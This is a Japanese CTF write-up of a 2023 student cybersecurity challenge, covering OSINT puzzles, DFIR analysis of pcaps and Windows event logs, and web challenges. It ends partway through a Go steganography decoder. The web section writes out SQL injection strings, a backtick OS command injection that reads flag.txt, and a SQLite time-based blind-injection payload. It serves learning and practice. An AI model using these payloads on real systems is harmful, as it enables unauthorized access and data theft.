アルゴリズム弱太郎

Twitter @01futabato10

【Writeup】NFLabs. Cybersecurity Challenge for Students 2023

この記事は IPFactory OB Advent Calendar 2023 17日目の記事です。

qiita.com


こんにちは、ふたばとです。

2023年11月22日(水)~2023年11月27日(月)に開催された NFLabs. Cybersecurity Challenge for Students 2023 に参加していました。

NFLabs. Cybersecurity Challenge for Students 2023 は Connpass で募集され、抽選で 50 名が参加できるCTFでした。

connpass.com

結果は 7 位でした。 とても楽しかったので久しぶりに writeup を書きます。

全然解けていない中途半端な writeup がいくつかあるのですがご笑納いただけますと幸いです。

OSINT

[Easy] ntt.com

ntt.comのドメイン名を日本電信電話株式会社(関連企業を含む)が登録する以前に登録していた企業の名前を答えてください。

まずはWHOISサービスで検索する。

NTT Communications Corporation が 1997/10/07 に ntt.com を登録してから現在まで続いていることがわかる。

つまり1997年10月7日以前の ntt.com の登録者を探せばよい。

Wayback Machinentt.com を探すと、1997年1月17日13時53分12秒にスナップショットが存在した。

web.archive.org

1997年1月17日13時53分12秒のntt.com

National TechTeam, Inc. が ntt.comドメインを登録していたのであろうと考えられる。

National TechTeam

[Medium] Repair

この銅像の修復にかかった費用をユーロで答えてください。

Repair

After Its Restoration Fail Inspired Comparisons to ‘Beast Jesus,’ This Statue of Saint George Has Been Triumphantly Un-Restored
news.artnet.com

Spanish specialists have managed to fix a badly botched restoration that left a 500-year-old sculpture of Saint George looking like a cartoon character last year. It took three months and $37,000 to restore the statue to its former state.

とあるので、修繕に 3 か月と $37,000 かかったことがわかる。 当時の為替レートなんて知るかい!と思ったが記事の下部には、

The church and the company that mishandled the first restoration were each fined €6,000 ($6,840). The sculpture is cultural property of the province, so any alterations should have been cleared by authorities.

とあったので、€6,000 : $6,840 = FLAG : $37,000 の比例式ができそうだ。 しかし、この式で得られる 32456.14035087719 は Incorrect だった。

しばらく似たような記事を漁っていると以下の記述を見つけた。

www.theguardian.com

“It’s been a big effort economically as well,” he said. “The archdiocese of Pamplona and the parish have assumed the costs, which have come to around €32,000 or €33,000 (about (£29,000). If they’d done things properly in the first place, it would have cost around €10,000 to €12,000. That mistake has ended up costing three times as much it should have. There was also a €6,000 fine they had to pay.”

€32,000 ~ €33,000 に収まっている今提出した回答は大きく外していないことがわかる。 このあたりで気になったのは、スペインでの出来事なのに検索で引っ掛かる記事は英語の記事ばかりだ。 FLAG となっている修繕費は、おそらく $ から € に変換したものではなく、€ で記載されたそのままの情報を FLAG にしているだろうと仮説を立てて、スペイン語で書かれた記事を探すようにした。

スペインのグーグルは http://www.google.es/ なので、これで検索するとスペインの情報を取り出しやすくなった。

www.sport.es

ふいに現れたこの記事のタイトルにある「San Jorge de Estella」をキーワードに検索すると以下の記事がヒットした。

www.abc.es

Si no hubiera intervenido la aficionada a las manualidades de Estella, el coste de la restauración de la talla habría ascendido a unos 8.000 euros, según la tenían presupuestada ya los responsables de Patrimonio de Navarra, pero tras el desaguisado la cantidad se ha elevado hasta los 30.759,72 euros, que ha pagado el Arzobispado de Pamplona junto con una sanción administrativa de 6.010 euros. También la empresa Karmacolor de Estella, de la autora del repinte, ha sido sancionada con la misma multa de 6.010 euros .

€30.759

[Medium] stranger than fiction

ある著名な元俳優が2022年2月下旬、国会議員のDavid braun氏を含む5名で撮った動画をSNSにアップロードしました。 その俳優の代表作の第一話冒頭に映っている記念碑の場所を答えてください。 回答は緯度経度を小数点下一桁(下二桁目以降は切り捨て)までお願いします。

www.alltopsights.com

David braun という人を単に検索してもまさしく国会議員であるような人は引っかかってくれなかったので、Bardに尋ねてみる。

hallucination しているかもしれないが、それらしい回答をくれた。 フィラデルフィアにある Rocky Statue が解答であることを仮定して、Rocky Statue の緯度経度を特定する。

maps.app.goo.gl

GoogleMap上での緯度経度は 39.96514401667796, -75.17928710612046 だった。 FLAG のフォーマットに合うように変形して submit したが、どれも Incorrect だった。

Bard の hallucination を疑うが、Bing AI や ChatGPT は回答してくれないので、とっかかりなかなかない。 そもそも David braun に関する情報が無さ過ぎる。

問題タイトルの stranger than fiction に注目してみる。 「事実は小説より奇なり」という言葉を言った英国の詩人バイロンは 18 世紀後半の人物なので、何が言いたいのかわからなかったが、『stranger than fiction』という映画が 2006 年に出ていた。邦訳タイトルは『主人公は僕だった』であった。

www.allmovie.com

第一話と言っているので、映画ではなくドラマであろうと考えられる。見当違いそうな気しかない。

Bard の hallucination によって沼にハマった。

ふいに、David Braun 氏を英語で尋ねたら普通に正答である国会議員の情報をくれた。

Davyd Arakhamia 氏は David Braun というペンネームでも知られるウクライナの政治家・実業家で、2019 年から Servant of the People 党の議会派閥党首を務めているようだ。 2019 年のウクライナ議会選挙でウクライナ一院制議会である Verkhovna Rada に選出され、国家安全保障・国防・情報委員会委員を務めているらしい。

en.wikipedia.org

Wikipedia にロシアのウクライナ進行のタイムラインが整理されていた。

ja.wikipedia.org

「投稿」というワードで検索をかけて、2月下旬にあたるのが以下の記述だった。

未明:ゼレンスキー大統領がfacebookに動画を投稿。動画内で「今夜は非常に難しい夜になる」と話し、ロシア軍のキーウへ近く予想される攻撃に対して警戒を呼びかけ、「今夜、敵はあらゆる力を使って我々の抵抗を破ろうとするだろう。彼らは今夜、攻撃をしてくる。我々は耐えなければならない。ウクライナの運命はいま、決まろうとしている」「私たちは皆、ここ(キーウ)で国の独立を守っている」と語り、自身が国外逃亡しておらず首都にとどまっていることを伝え、また高齢者など市民には危険があればシェルターに入るよう呼びかけた[111]。

この動画は自分の記憶にも強く残っているものだ。 このニュース記事はたくさん残っている。

www.asahi.com

ここにDavyd Arakhamia 氏がいるのか判断はできないけど、2022年2月25日、5人、ウクライナということでかなりあってそう。

しかしこの5人の中に俳優なんておらんやん…と数時間唸り、諦めていたときに、 いやいやいやいやゼレンスキー!!!!!!と気づき、普通に声が出た。

ここで分泌される脳汁のために CTF をやってる。

というわけでゼレンスキーの代表作を探しにいく。

探せばすぐに『国民の僕(しもべ)』であることがわかる。 『国民の僕(しもべ)』はドラマで、第一話は YouTube に公開されていた。

youtu.be

冒頭も冒頭に記念碑が写っていた。これだろう。 スクリーンショットを取って、この場所を画像検索にかけてみる。

やや痛ましいニュースではあるが、このニュースのお陰で記事はたくさん存在した。 この場所はキエフのマイダン広場であることがわかった。

jp.reuters.com

あとはマイダン広場にある記念碑を特定すればいい。 この記念碑はウクライナ独立記念碑というらしい。 GoogleMap 上では 50.450993975956614, 30.52553720410644 に存在した。

maps.app.goo.gl

N50.4,E30.5

[Easy] celebration

カタール W 杯のベストゴールのゴールセレブレーションの輪の真後ろで、イギリスのあるプロサッカークラブの横断幕が掲げられていました。 そのクラブの名前にもなっている街の名前をアルファベットで答えてください。

カタール W 杯のベストゴールは以下の動画にあるブラジル代表 Richarlison de Andrade 選手のボレーシュートだ。 超カッコいい。

このゴールは 2022 年 11 月 25 日カタール W 杯ブラジル VS セルビアのものである。 カタールW杯当時のブラジル代表のメンバーは以下のサイトを見ればわかる。

worldcdb.com

ここにいる選手のうちのプレミアリーグに属するチームのホームタウンを試していけばよさそうだ。

と思ったが、全部違った。 なんならプレミアリーグの全チームのホームタウンを 4, 5 回 Submit したので運営に「この人懲りないな…」と思われていたと思う。 ブラジル代表に居ないイギリスのプロサッカークラブの横断幕なんて掲げるか…?とも思いつつ、2 部以下のサッカークラブなんてブラジル代表に居ないだろうと山をはっていたのが間違いだった。

頑張ってゴールセレブレーションしている動画を探す。 FIFA 公式が出しているものは、ゴール後すぐリプレイや監督に映像がいっているものが多く、ゴールセレブレーションの様子が写っているものがなく苦労した。 ここで役に立つのは群衆の眼だ。 𝕏、YoutubeTikTokInstagram でめちゃくちゃ探す。

しかしサポーター位置的に、難しいと頭を抱える。 今回のゴールセレブレーションは以下の図のようになっている。

スマホを構えたブラジルサポーターがゴールパフォーマンスを撮影可能な角度は、以下の図の左下あたりである必要があると考えられる。 自陣に攻め込まれているのにスマホで撮影して嬉々として SNS に投稿するセルビアサポーターはいないと判断した。

しかしこの角度になると距離が遠くなり、まともに横断幕が読めない映像が多くなる。 唯一見つけられた解像度の高い動画は画角が狭くてとてももどかしかった。

www.instagram.com

わからないのでまたプレミアリーグの一覧を Submit する。当然通らない。

群衆の眼は難しいと見切りをつけた。 観客の席から見ることのできない角度が見える、テレビで放映される用の空中カメラが欲しくなる。

頑張って探していると以下の動画が見つけられた。 見つけた中でまだゴールセレブレーションがはっきりしているのがこの投稿だ。

角度的にはまさしくな、角度的には理想の映像だ。

しかしどうだろう、う~~~ん。辛うじて見えるが、ここから得られる情報があまりない。角度的には最高でも角度的には最悪だ。 わからないのでまたプレミアリーグの一覧を Submit する。当然通らない。

この中のどれかが FLAG であることは間違いないと思うので、片っ端から特定していく。

Associação Família 1912

Atlético Mineiro

Santos FC

ドミニカ共和国

ここまで特定したが、残念ながらどれも FLAG ではない。 肝心なイングランドらしき国旗に書かれている文字さえわかればさすがに回答できそうだ。 とりあえずプレミアリーグの一覧を Submit した。当然通らない。

頑張って探していると以下の動画を見つけることができた。

youtu.be

「MIDDLESBROUGH」と書いてある!!!!

EFLチャンピオンシップに Middlesbrough F.C があるらしい。

en.wikipedia.org

やけにイングランドの地名やプレミアリーグに詳しくなった気がする。

ちなみに最近の Richarlison 選手だが、Neymar 選手にメールアドレスを公開されたり、イカした髪型になっていたりするそうだ。

Middlesbrough

DFIR

[Easy] flower

会社で管理しているWebサイトにアクセスすると、「We hacked your Web page :)」という文章が表示されるというインシデントが発生しました。あなたはWebサーバを調査したが、不審なログを発見することはできませんでした。 しかし、調査の過程でWebサイトのドメイン名をDNS名前解決した際、本来のIPアドレスとは異なるIPアドレスが返っていることを発見しました。あなたはDNSに問題が発生していると考え、通信経路上で取得していたパケットデータを確認することにしました。 pcapngファイルを解析し、インシデントの原因となる攻撃を行ったと考えられる端末のIPアドレスを解答してください。

DNS キャッシュポイズニング 的な Something であろうと感じる。

pcap ファイルはそのままダブルクリックしても見れないので、僕は見えないものを見ようとして Wireshark を覗き込んだ。

Wireshark を覗き込むとあら不思議、以下のことが簡単にわかる。

  • 10.64.3.64: 汚染前のflos.example.testIPアドレス
  • 10.64.3.178: 汚染後の flos.example.testIPアドレス
  • 10.64.3.123: Webサーバにアクセスする Client

dns.a eq 10.64.3.178 で絞り込むと、{{ ランダム文字列 }}.example.test のクエリが出てきた。

`dns.a eq 10.64.3.178`

dns.qry.name == Tly4wcCit8.example.test で絞り込む。

Transaction ID0x6b23, 0x6b24, 0x6b25, 0x6b26, 0x6b27, ... と続いており、Transaction ID フィールドの値が異なるレスポンスパケットが大量に発生していることがわかる。 10.64.3.101 の IP アドレスを持つ攻撃者がカミンスキーDNS キャッシュポイズニング攻撃をしてキャッシュが汚染したのであろうと考えられる。

10.64.3.101

[Easy] rockyou

あなたの運営しているwebアプリケーションにおいて、不正ログインが発生している可能性があるという報告がありました。それを知った同僚がパケットキャプチャを行ってくれていました。セキュリティ担当であるあなたは、手元にあるデータを用いて不正ログインに関する調査を行うこととなりました。Webサーバのアクセスログとpcapファイルを元に不正ログインされている可能性が高いと思われるユーザのユーザ名を解答してください。

output.pcapaccess.log の二つのファイルが与えられる。

output.pcap を開いてみると、リクエストを送って 401 で怒られるログが多いことからログイン試行をしているのだろうと考えらえれる。

rockyou

問題は不正ログインが発生している可能性があるとのことなので、まずはステータスコードが 200 を返しているレスポンスを探すために、http.response.code==200で絞り込むとキレイに1件だけヒットした。

この HTTP ストリームを追跡すると、william が不正ログインされたであろうと考えられる情報が出てくる。

william

[Medium] invader (1)

【導入】

Windowsのサーバーに対して外部から不正アクセスを検知したため、この端末のイベントログを抽出した。

【Q1】

侵入元のIPアドレスを答えよ。

Windows のイベントログの解析はしたことがないので、気合でやる。 イベントの種別ごとにイベント ID が降られているようなので、ログインのイベント ID を確認する。

Security.evtx にイベント ID 4624 があればいいらしい。

learn.microsoft.com

Security.evtx イベントビューア を開き、イベントID 4624Logon を確認する。

192.168.81.128 からログインしていそうなイベントログが確認できる。

192.168.81.128

[Medium] invader (2)

【Q2】

攻撃者は、侵入後にWindows Defenderの設定を変更し特定のフォルダーを検知の対象外とした。

そのフォルダーを答えよ。

Windows Defender の設定変更が問題となるということは、Q1 と同様に Windows Defender 設定変更のイベント ID があるのだろうと考えられる。

Microsoft-Windows-Windows Defender%4Operational.evtx というそれらしすぎるファイルにイベント ID が 5007 のイベントが存在した。

learn.microsoft.com

イベント ID 5007 は マルウェア対策プラットフォームの構成が変更 なので正しそうだ。

フルパスを答えろと言われていて、C ドライブ配下全部だったのであっている自信はあまりなかったが、Submit してみると Correct だった。

C:\ 

[Medium] invader (3)

【Q3】

攻撃者は、永続化のためにとあるファイル(実行ファイルまたはスクリプトファイル)をOS起動時に自動的に実行するように設定した。

ジョブを自動で実行させるには、何かしらのトリガーが必要だと考えられる。 OS 起動時に実行できるようにするには、タスクに BootTrigger を設定すればできそうだ。

learn.microsoft.com

スケジュールされたタスクを登録するにはイベント ID 4698 を見ればよさそうだ。

learn.microsoft.com

Security.evtx にそれらしいイベントを見つけた。 BootTrigger とも書いてある。

しかし rtcp.exe というファイル名自体は怪しいが、自分が無知なだけで、Administrator 配下にある有名なファイルだと思ってスルーしていた。 Submit の試行回数に制限があったので、答えに辿り着いていたが自信が持てなくて全ファイル捜索する羽目になった。

調べると、safe な場合と mallicious な場合があるとのことだ。

windowsbulletin.com

The first thing that will help you determine if a particular file is a legitimate Windows process or a virus, is the location of the executable itself. With RTCP.EXE for example, it's path will probably be something like C:\Program Files\Dark Bay Ltd.\Hacker's Handbook\RTCP.EXE

Submit の試行は 10 回あるし、全部ファイルを確認してこのイベント以外に BootTrigger は見られなかったので、C:\Users\Administrator\rtcp.exe をえいっと Submit したら Correct だった。

調査しているなかで UsoClient.exe とか ctfmon.exe を見つけて面白かった。

UsoClient.exe

問題用に作られたイベントログだったので、解けるまで時間はかかったが探しやすかった。 実務だったら余計なログがありすぎて大変なんだろうなぁと感じた。

C:\Users\Administrator\rtcp.exe

[Medium] exfildb

あなたはシステム&セキュリティ担当の一員として、Webサイトのインシデント対応におけるログ分析を依頼されました。システム構成および調査対象のログは、exfildb.zipに格納されています。攻撃者にDBの情報が持ち出されたと推測される時間を調査し、日本時間(JST)で mm:hh:ss の形式で解答してください。

複数のファイルが渡される。

  • Server LAN 内のフルパケットキャプチャ(16:45 〜 18:58 58): IDSlog/2021-04-20_1645_nids_log.pcap
  • NIDSのIDS アラートログ
    • 簡易アラート情報: IDSlog/2021-04-20_nids_et_eve.json
    • アラートの詳細情報: IDSlog/2021-04-20_nids_et_fast.log
  • Jumpサーバの認証ログ: Jumpserver/2021-04-20_jump_secure.log
  • Webサーバのアクセスログ: Webserver/2021-04-20_web_access.log

まずは pcap ファイルを確認してインシデントの概要を把握する。

16:49:31wp-configが漏洩する。source ip は 172.16.193.101。 なんでもやりたいほうだいで、自分には関係ないインシデント、しかも CTF なのに「あーあーあーあーあー」と声が漏れた。

阿鼻叫喚

インシデントを起こしたみはりコーポレーション、「みはり」が人物の名前なのかなと思っていましたが、セキュリティの文脈の「見張り」っぽい。対応がんばえ~となった。

ip.src == 172.16.193.101 で絞り込んでいく。 適当にスクロールしていると FTP プロトコルが目に入った。

wpdb.dump を送信している。 wp-config を漏洩させた後、どのようにして情報をまとめたのかわからなかったが、wpdb.dump が持ち出されたデータであるならば、この時間を特定すればよい。 送信を始めたタイミングなのか、送信が完了したタイミングなのか、コネクションが切れたタイミングなのか少し迷ったが、まずは Transfer complete したタイミングを Submit したら Correct だった。

16:56:28

[Hard] developer

開発者が使用していたクラウドサービスが侵害を受けて原因を調査していたところ、ある開発者が複数のサービスや開発端末で同じパスワードを使用していたことがわかりました。

そこであなたはパスワードが漏えいした原因を調査するために、開発者の端末を回収して調査をすることにしました。 開発者に不審な出来事がなかったかヒアリングしたところ、「そういえば、開発に使うソフトウェアをインストールするために、ISOファイルに入っていたインストーラを実行したが、何も表示されなかったなぁ。。」と話しています。 開発者がこの行動を行った大体の時間を聞いて、あなたはこの行動が行われた時間のトラフィックログとOSのイベントログを抽出しました。

このログから、開発者 developer の漏えいしたパスワードを調べてください。

traffic.pcap.evtx のイベントログファイルが与えられる。

まずは traffic.pcap を眺める。

/lib へ HTTP リクエスト を送り謎のレスポンスを取得している。

FTP で何かしているが、ここで登場しているパスワードは問題に対する FLAG ではない。

なんとなく pcap ファイルを眺めたので、evtx ファイルを見ていく。

ISOファイルに入っていたインストーラを実行したが、何も表示されなかったなぁ。。

表示されなかっただけで裏で PowerShell スクリプトが動いているんだろうなぁと思いつつ、Windows PowerShell.evtx を確認してみると明らかによくなさそうな何かが動いていたのがわかる。

【DFIR】invader で全ファイル全ログを眺める脳筋プレイをしてしまったせいで、なんとなく evtx ファイルの見方・探し方がわかってきたものの、かなり疲弊していた。

もっと大域的にログを確認してサマライズしてくれるような便利ツールの利用を検討してみる。 (invader の時に使わなかったのは、ツールを用意して使いこなすことの方がコストが高い気がしたからで、検討はしました。)

有名なのは 大和セキュリティさんから出されている Hayabusa だ。

github.com

Hayabusa については以下の通り

Hayabusaは、日本のYamato Securityグループによって作られたWindowsイベントログのファストフォレンジックタイムライン作成および脅威ハンティングツールです。 Hayabusaは日本語で「ハヤブサ」を意味し、ハヤブサが世界で最も速く、狩猟(hunting)に優れ、とても訓練しやすい動物であることから選ばれました。Rust で開発され、マルチスレッドに対応し、可能な限り高速に動作するよう配慮されています。SigmaルールをHayabusaルール形式に変換するツールも提供しています。Hayabusaの検知ルールもSigmaと同様にYML形式であり、カスタマイズ性や拡張性に優れます。稼働中のシステムで実行してライブ調査することも、複数のシステムからログを収集してオフライン調査することも可能です。また、 VelociraptorとHayabusa artifactを用いることで企業向けの広範囲なスレットハンティングとインシデントレスポンスにも活用できます。出力は一つのCSVタイムラインにまとめられ、LibreOffice、Timeline Explorer、Elastic Stack、Timesketch等で簡単に分析できるようになります。

ついに自分も Hayabusa を使うときが来たか…と思いつつ環境を用意していく。

WSL であれば以下のようなノリで使っていけた。

$ ./hayabusa-2.10.1-win-x64.exe computer-metrics -d ../developer/developer/Logs

╔╗ ╔╦═══╦╗  ╔╦═══╦══╗╔╗ ╔╦═══╦═══╗
║║ ║║╔═╗║╚╗╔╝║╔═╗║╔╗║║║ ║║╔═╗║╔═╗║
║╚═╝║║ ║╠╗╚╝╔╣║ ║║╚╝╚╣║ ║║╚══╣║ ║║
║╔═╗║╚═╝║╚╗╔╝║╚═╝║╔═╗║║ ║╠══╗║╚═╝║
║║ ║║╔═╗║ ║║ ║╔═╗║╚═╝║╚═╝║╚═╝║╔═╗║
╚╝ ╚╩╝ ╚╝ ╚╝ ╚╝ ╚╩═══╩═══╩═══╩╝ ╚╝
   by Yamato Security

Start time: 2023/12/01 08:42

Total event log files: 145
Total file size: 16.4 MB

Loading detection rules. Please wait.

[00:00:00] 145 / 145   [========================================] 100%

Scanning finished. Please wait while the results are being saved.


╭─────────────────┬────────╮
│ Computer        ┆ Events │
╞═════════════════╪════════╡
│ DESKTOP-FKUDIRN ┆ 1,429  │
╰─────────────────┴────────╯

Total computers: 1

Elapsed time: 00:00:01.899

イベントIDごとのサマライズなどの情報を見たが、結局何を見ていけばよいのかわからなくてそこまで活躍しなかった。使いこなせなくてごめんね。

かなり疲弊していたので PowerShell の難読化の解除を最後までできなかった。おれは!!!!弱いっ!!!! 公式の writeup を読んでヒョンと言います。

Web

Web は問題サーバを立ち上げて、VPN で接続して取り組む。

[Easy] UniDine

私たちの管理するWebサイトに対し、外部から脆弱性の報告がありました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。

UniDine の トップページ

初手 uid=adminpassword='--を入力したら

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 in /var/www/html/login.php:20 Stack trace: #0 /var/www/html/login.php(20): mysqli_query() #1 {main} thrown in /var/www/html/login.php on line 20

と表示されたので、SQL Injection の脆弱性があるとみてよさそう。 このエラー文から MySQL が使われていることがわかる。

雑に password=' OR '1 と入力したら、FLAG が現れた。

NFLABS{l0g1n_h4x_sql_1nj3ct1on}

[Easy] ASCII

友人が授業で作成したWebサイトに脆弱性があるという話になりました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。

問題にアクセスする。

ASCII

フォームが一つある。入力された文字列が ASCII であればアスキーアートにしてくれるのかなと考えられる。 見た瞬間 OS コマンドインジェクションだと天からのお告げがきた。

適当に `ls` を入力してみる。

flag.txt, server.py, templates の3つのファイルが確認できた。 Django や Flask で動かしているのだろう、知らんけど。

方針があっていることが分かったので、`cat flag.txt` を入力する。

NFLABS{1nj3ct_n_unv3il_th3_s3cr3tz}

[Medium] nolight

Vue/Django/SQLiteを使用したWebアプリケーションを調査してほしいと依頼されました。どうやら勝手に身に覚えのないアカウントが作られているようです。対象のWebアプリケーション(SPA)を診断し、どこかに配置されているフラグを入手して解答してください。

問題サーバにアクセスする。

tonight

ログインページが表示された。カッコいい。 アカウントがないので画面下部のボタンよりアカウントを作成する。

/api/user/profile/ へ GETリクエストを送り、/signup/reserve へリダイレクトされてアカウント登録ができる。

`/signup/reserve`

{"email":"a@a.com","username":"futabato","password":"futabato"}RESERVE ボタンを押し、Submitすると /api/registration/reserve/ へ POST 、 /api/user/profile/ へ GET、 passwordsleakcheck-pa.googleapis.com へ POST を経て /signup/confirm へ遷移される。

`/signup/confirm`

遷移された段階で {"email":"a@a.com","username":"futabato"} が入力されているので、そのまま REGISTER ボタンを押す。

/api/registration/confirm/ へ POST することで(既にアカウントが存在しているなどの問題が無ければ)アカウントが作成される。 このときのリクエストボディは {} のみだった。

/api/user/profile/ へ GET リクエストを送ることで、/login へリダイレクトされる。

アカウント作成のフローで何度か /api/user/profile/ にリクエストを送っているが、レスポンスはどれも 403 Forbidden{"detail":"Authentication credentials were not provided."} とある。 最初は :thinging_face: をしていたが /assets/index-6970c5df.js を読めばわかる。

Of.beforeEach(async(e,t,n)=>{
    const r = ["top", "login", "signup", "signup-form", "error"]
      , s = di();
    s.isAuthenticated ? r.includes(e.name) ? n("/news") : n() : (await bf.get("/api/user/profile/", {
        withCredentials: !0
    }).then(()=>{
        s.isAuthenticated = !0
    }
    ).catch(()=>{}
    ),
    s.isAuthenticated || (r.includes(e.name) ? n() : n("/login")),
    n("/news"))
}
);

{"username":"futabato","password":"futabato"}LOGIN ボタンを押すことで /api/authentication/signin/ へ POST されてログインのフローが完了する。

ログインしたらまず news ページが表示された。

news

news ページの概要はおおよそ以下の通り

  • news は 1 ページに3件あり、2ページ6件の記事が用意されている
  • いいね機能とブックマーク機能が用意されているが、登録したブックマークを開く機能は一覧は用意されていない
  • ログアウト機能がある

ガチャガチャしてたらいいねの数が -1 のような負の値にはなったがここから脆弱性に結びつけるのは難しそう。

csrftoken が用意されており、SameSite 属性は Lax と明示されているのでセキュアそう。 いいね機能やブックマーク機能は存在しているだけで何かに繋がっているわけではないので、CSRF があっても FLAG に結びつかなさそうという感じがする。

Set-Cookie: csrftoken=KEseQcNY7P0TGpOeYIzzv8YGo20AzabR; expires=Wed, 27 Nov 2024 00:10:07 GMT; Max-Age=31449600; Path=/; SameSite=Lax
Set-Cookie: sessionid=mxkl6k5fnesrvs1ughko67ud838u2hn8; expires=Wed, 13 Dec 2023 00:10:07 GMT; Max-Age=1209600; Path=/; SameSite=Lax

ログイン後の news ページは特に何もなさそうで、複雑だったアカウント作成のところかなぁと思いつつ、わからない虚無の時間が続いた。 0 solves だったので運営からヒントが降ってきた。

ヒント1: /api/registration/reserve/と/api/registration/confirm/という2つのAPIの「一連の動作」に、この問題のタイトル「nolight」に関連した重大な脆弱性が「1つ」存在します。このAPIって普通なら裏で何していそうでしょう? また、no lightってどういう意味でしょう? そして、どうやってその脆弱性があることを確かめますか? 「時間」が解決してくれるかもしれません。。。
ヒント2: その脆弱性は、攻撃コードの書き方によってフラグを得るまでにかかる時間にかなり幅がでます。とりあえず「時間」が解決してくれたら、そのままのわけにはいかなそうです。うまいこと他の方法で「成功」と「失敗」がわかるようにできませんかね?また、フレームワークやデータベースの特徴を利用することでフラグを見つけるまでの時間がかなり短縮できます。
ヒント3: フラグは、説明文にあるように、アカウントのいずれかのパラメータの中にあります。

no lightってどういう意味でしょう?

nolight について考えてみる。 直訳すれば「光が無い」的な言葉を意味しそうだが、「嘘をつくな」と和訳されている歌詞があるそうだ。

detail.chiebukuro.yahoo.co.jp

Requestを Forgery して嘘をつくという意味では CSRF があり得るのかと思ったが、 僕のしょぼい診断能力では存在しないと判断したのでよくわからないなぁという感じだ。

「時間」が解決してくれるかもしれません。。。 その脆弱性は、攻撃コードの書き方によってフラグを得るまでにかかる時間にかなり幅がでます。とりあえず「時間」が解決してくれたら、そのままのわけにはいかなそうです。

と聞けば、まず思いつくのは Time-based な SQL Injection だ。 Blind SQL Injection と思いつけば、nolight の直訳とも意味が繋がってくる。

ひとまず アカウント作成フローのどこかに Time-based SQL Injection があると踏んで、チートシートを参照しながらまずは sleep ができそうかいろいろ試してみる。

github.com

github.com

チートシートを見ていると、Time based の payload の例として以下のものが用意されている。

AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

sleep 関数を使わずにどうしてこんなことをしているのだろうと思ったが、SQLiteには sleep 関数相当のものが用意されておらず、デカいバイト列を生成することで処理時間を計測するようだ。 (開発の場面ではおそらく利用しているプログラミング言語が提供する time.sleep のような関数で遅延を発生させるべきであるよう)

/api/registration/reserve/ に POST するとき、email, password に payload を載せてリクエストを送ると 400 Bad Request が返ってくるが、username に payload を載せてリクエストを送ると 200 OK が返ってくる。 usernameSQL Injection の脆弱性があるとみてよさそうだ。 しかしうまく payload 組み立てて攻撃したいが、全然できなくて大苦戦する。

これができなくて結局問題サーバが閉じられるまでに upsolve もできなかった。 公式の writeup を読んでヒヒンと言います。

Dev

[Easy] stegano

ステガノプログラムmain.goを用いてflagを画像の中に隠した。画像からflagを見つけよ。

package main

import (
    "bufio"
    "image"
    "image/color"
    "image/png"
    "log"
    "os"
)

func main() {
    reader, err := os.Open("original.png")
    if err != nil {
        log.Fatal(err)
    }
    defer reader.Close()
    m, _, err := image.Decode(reader)
    if err != nil {
        log.Fatal(err)
    }
    bounds := m.Bounds()
    im := image.NewRGBA64(image.Rect(0, 0, bounds.Dx()*2, bounds.Dy()*2))
    for i := 0; i < bounds.Dx(); i++ {
        for j := 0; j < bounds.Dy(); j++ {
            c := m.At(i, j)
            im.Set(i*2, j*2, c)
            im.Set(i*2+1, j*2, c)
            im.Set(i*2, j*2+1, c)
            im.Set(i*2+1, j*2+1, c)
        }
    }
    file, err := os.Open("flag.txt")
    if err != nil {
        log.Fatal(err)
    }
    defer file.Close()
    s := bufio.NewScanner(file)
    s.Scan()
    flag := s.Text()
    x := 100
    y := 100
    for i := 0; i < len(flag); i++ {
        r1, g1, b1, a1 := im.At(x*2, y*2).RGBA()
        r2, g2, b2, a2 := im.At(x*2+1, y*2).RGBA()
        r3, g3, b3, a3 := im.At(x*2, y*2+1).RGBA()
        box := []uint8{uint8(r1), uint8(g1), uint8(b1), uint8(r2), uint8(g2), uint8(b2), uint8(r3), uint8(g3)}
        for j := 0; j < 8; j++ {
            if (flag[i] & byte(1<<j)) != 0 {
                if box[j] == 0 {
                    box[j] = box[j] + 1
                } else {
                    box[j] = box[j] - 1
                }
            }
        }
        im.Set(x*2, y*2, color.RGBA{R: box[0], G: box[1], B: box[2], A: uint8(a1)})
        im.Set(x*2+1, y*2, color.RGBA{R: box[3], G: box[4], B: box[5], A: uint8(a2)})
        im.Set(x*2, y*2+1, color.RGBA{R: box[6], G: box[7], B: uint8(b3), A: uint8(a3)})
        x = x + 1
        y = (y + int(uint8(b3))) % bounds.Dy()
    }

    result, err := os.Create("stegano.png")
    if err != nil {
        log.Fatal(err)
    }
    defer result.Close()
    if err := png.Encode(result, im); err != nil {
        log.Fatal(err)
    }
}

stegano.png

画像とステガノグラフィーを実現するコードが渡されるので頑張って解読する。

writeup を書きながら気づいたが、元の画像の 2 倍((width, height) -> (2 * width, 2 * height))にしているようだ。

この問題は、見事にアルゴリズム弱太郎が発揮された問題となった。 壮絶な条件分岐によって脳が破壊された。自業自得である。 恥の塊のようなコードが以下のものだ。

package main

import (
    "fmt"
    "image/png"
    "log"
    "math"
    "os"
    "strconv"
)

func Reverse(s string) string {

    runes := []rune(s)

    for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
        runes[i], runes[j] = runes[j], runes[i]
    }

    return string(runes)
}

func maxInt(nums ...uint8) uint8 {
    if len(nums) == 0 {
        panic("funciton max() requires at least one argument.")
    }
    res := nums[0]
    for i := 0; i < len(nums); i++ {
        res = uint8(math.Max(float64(res), float64(nums[i])))
    }
    return res
}

func main() {
    // ステガノグラフィー画像を読み込む
    // Original image file is opened for reading
    reader, err := os.Open("stegano.png")
    if err != nil {
        log.Fatal(err)
    }
    defer reader.Close()

    m, err := png.Decode(reader)
    if err != nil {
        log.Fatal(err)
    }

    // 元の画像のサイズを取得
    bounds := m.Bounds()
    fmt.Println("bounds:", bounds)

    // フラグ文字列を復元するための変数
    flag := ""

    x := 100
    y := 100

    // ステガノグラフィーからフラグ文字列を復元
    for i := 0; i < 28; i++ {
        // 指定位置の色データを取得
        r1, g1, b1, _ := m.At(x*2, y*2).RGBA()
        r2, g2, b2, _ := m.At(x*2+1, y*2).RGBA()
        r3, g3, b3, _ := m.At(x*2, y*2+1).RGBA()

        box := []uint8{uint8(r1), uint8(g1), uint8(b1),
            uint8(r2), uint8(g2), uint8(b2),
            uint8(r3), uint8(g3)}
        fmt.Println("box", box)
        var s string
        s = ""
        maxR := maxInt(box[0], box[3], box[6])
        if box[0] == box[3] {
            if box[0] == box[6] {
